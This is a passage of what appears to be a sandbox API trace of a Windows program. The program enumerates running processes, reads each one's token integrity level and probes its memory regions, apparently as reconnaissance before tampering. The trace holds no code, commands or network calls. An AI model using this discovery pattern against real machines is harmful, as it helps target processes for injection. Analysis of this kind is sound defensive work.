ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.702] GetProcessTimes (in: hProcess=0x174, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.702] OpenProcessToken (in: ProcessHandle=0x174, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.702] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.703] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.703] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xab0d09 [0094.703] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xab0d10 [0094.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.704] NtClose (Handle=0x2a0) returned 0x0 [0094.704] NtQueryVirtualMemory (in: ProcessHandle=0x174, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.704] NtQueryVirtualMemory (in: ProcessHandle=0x174, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.728] NtQueryVirtualMemory (in: ProcessHandle=0x174, Address=0x7fefe090000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0xfe090000, AllocationBase=0x7fe, AllocationProtect=0xfe090000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.730] QueryFullProcessImageNameW (in: hProcess=0x17c, dwFlags=0x0, lpExeName=0x9fa458, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\lsm.exe", lpdwSize=0x119fa50) returned 1 [0094.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0094.731] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.731] IsWow64Process (in: hProcess=0x17c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.731] NtQueryInformationProcess (in: ProcessHandle=0x17c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.731] GetProcessTimes (in: hProcess=0x17c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.731] OpenProcessToken (in: ProcessHandle=0x17c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.731] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.732] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.732] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xab0d09 [0094.732] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xab0d10 [0094.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.733] NtClose (Handle=0x2a0) returned 0x0 [0094.733] NtQueryVirtualMemory (in: ProcessHandle=0x17c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.733] NtQueryVirtualMemory (in: ProcessHandle=0x17c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.742] QueryFullProcessImageNameW (in: hProcess=0x16c, dwFlags=0x0, lpExeName=0x9fa458, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x119fa50) returned 1 [0094.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0094.743] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.743] IsWow64Process (in: hProcess=0x16c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.743] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.743] GetProcessTimes (in: hProcess=0x16c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.743] OpenProcessToken (in: ProcessHandle=0x16c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.743] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.745] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.745] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0094.745] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0094.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.746] NtClose (Handle=0x2a0) returned 0x0 [0094.746] NtQueryVirtualMemory (in: ProcessHandle=0x16c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.746] NtQueryVirtualMemory (in: ProcessHandle=0x16c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.760] QueryFullProcessImageNameW (in: hProcess=0x188, dwFlags=0x0, lpExeName=0x1217ae8, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x119fa50) returned 1 [0094.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1217ae8) returned 1 [0094.761] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.761] IsWow64Process (in: hProcess=0x188, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.761] NtQueryInformationProcess (in: ProcessHandle=0x188, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.761] GetProcessTimes (in: hProcess=0x188, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.761] OpenProcessToken (in: ProcessHandle=0x188, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.761] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.762] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.762] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0094.762] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0094.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.763] NtClose (Handle=0x2a0) returned 0x0 [0094.763] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.763] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.844] QueryFullProcessImageNameW (in: hProcess=0x168, dwFlags=0x0, lpExeName=0x11f0f98, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x119fa50) returned 1 [0094.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f0f98) returned 1 [0094.844] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.844] IsWow64Process (in: hProcess=0x168, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.844] NtQueryInformationProcess (in: ProcessHandle=0x168, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.845] GetProcessTimes (in: hProcess=0x168, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.845] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.845] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.845] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.845] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0094.846] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0094.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.846] NtClose (Handle=0x2a0) returned 0x0 [0094.846] NtQueryVirtualMemory (in: ProcessHandle=0x168, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.846] NtQueryVirtualMemory (in: ProcessHandle=0x168, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.867] QueryFullProcessImageNameW (in: hProcess=0x170, dwFlags=0x0, lpExeName=0xab58f0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\taskeng.exe", lpdwSize=0x119fa50) returned 1 [0094.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab58f0) returned 1 [0094.867] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.867] IsWow64Process (in: hProcess=0x170, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.868] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.868] GetProcessTimes (in: hProcess=0x170, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.868] OpenProcessToken (in: ProcessHandle=0x170, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.868] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.869] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.869] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0xab0d09 [0094.869] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0xab0d10 [0094.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.869] NtClose (Handle=0x2a0) returned 0x0 [0094.869] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.869] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.886] QueryFullProcessImageNameW (in: hProcess=0x18c, dwFlags=0x0, lpExeName=0x11f1798, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x119fa50) returned 1 [0094.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f1798) returned 1 [0094.887] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.887] IsWow64Process (in: hProcess=0x18c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.887] NtQueryInformationProcess (in: ProcessHandle=0x18c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.887] GetProcessTimes (in: hProcess=0x18c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.887] OpenProcessToken (in: ProcessHandle=0x18c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.887] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.888] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.888] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xab0d09 [0094.888] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xab0d10 [0094.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.888] NtClose (Handle=0x2a0) returned 0x0 [0094.888] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.888] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0094.918] QueryFullProcessImageNameW (in: hProcess=0x190, dwFlags=0x0, lpExeName=0x11f1798, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Synchronization Services\\trail_experiences.exe", lpdwSize=0x119fa50) returned 1 [0094.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1374970 [0094.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ffde8) returned 1 [0094.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f1798) returned 1 [0094.919] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.919] IsWow64Process (in: hProcess=0x190, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.919] NtQueryInformationProcess (in: ProcessHandle=0x190, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.919] GetProcessTimes (in: hProcess=0x190, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.919] OpenProcessToken (in: ProcessHandle=0x190, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.919] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.920] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.920] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0094.920] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0094.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.921] NtClose (Handle=0x2a0) returned 0x0 [0094.921] NtQueryVirtualMemory (in: ProcessHandle=0x190, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0094.921] NtQueryVirtualMemory (in: ProcessHandle=0x190, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0094.933] QueryFullProcessImageNameW (in: hProcess=0x194, dwFlags=0x0, lpExeName=0xab63b8, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Analysis Services\\approaches.exe", lpdwSize=0x119fa50) returned 1 [0094.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1374b80 [0094.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ffe70) returned 1 [0094.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab63b8) returned 1 [0094.934] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.934] IsWow64Process (in: hProcess=0x194, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.934] NtQueryInformationProcess (in: ProcessHandle=0x194, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.934] GetProcessTimes (in: hProcess=0x194, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.934] OpenProcessToken (in: ProcessHandle=0x194, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.934] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.935] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.935] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, 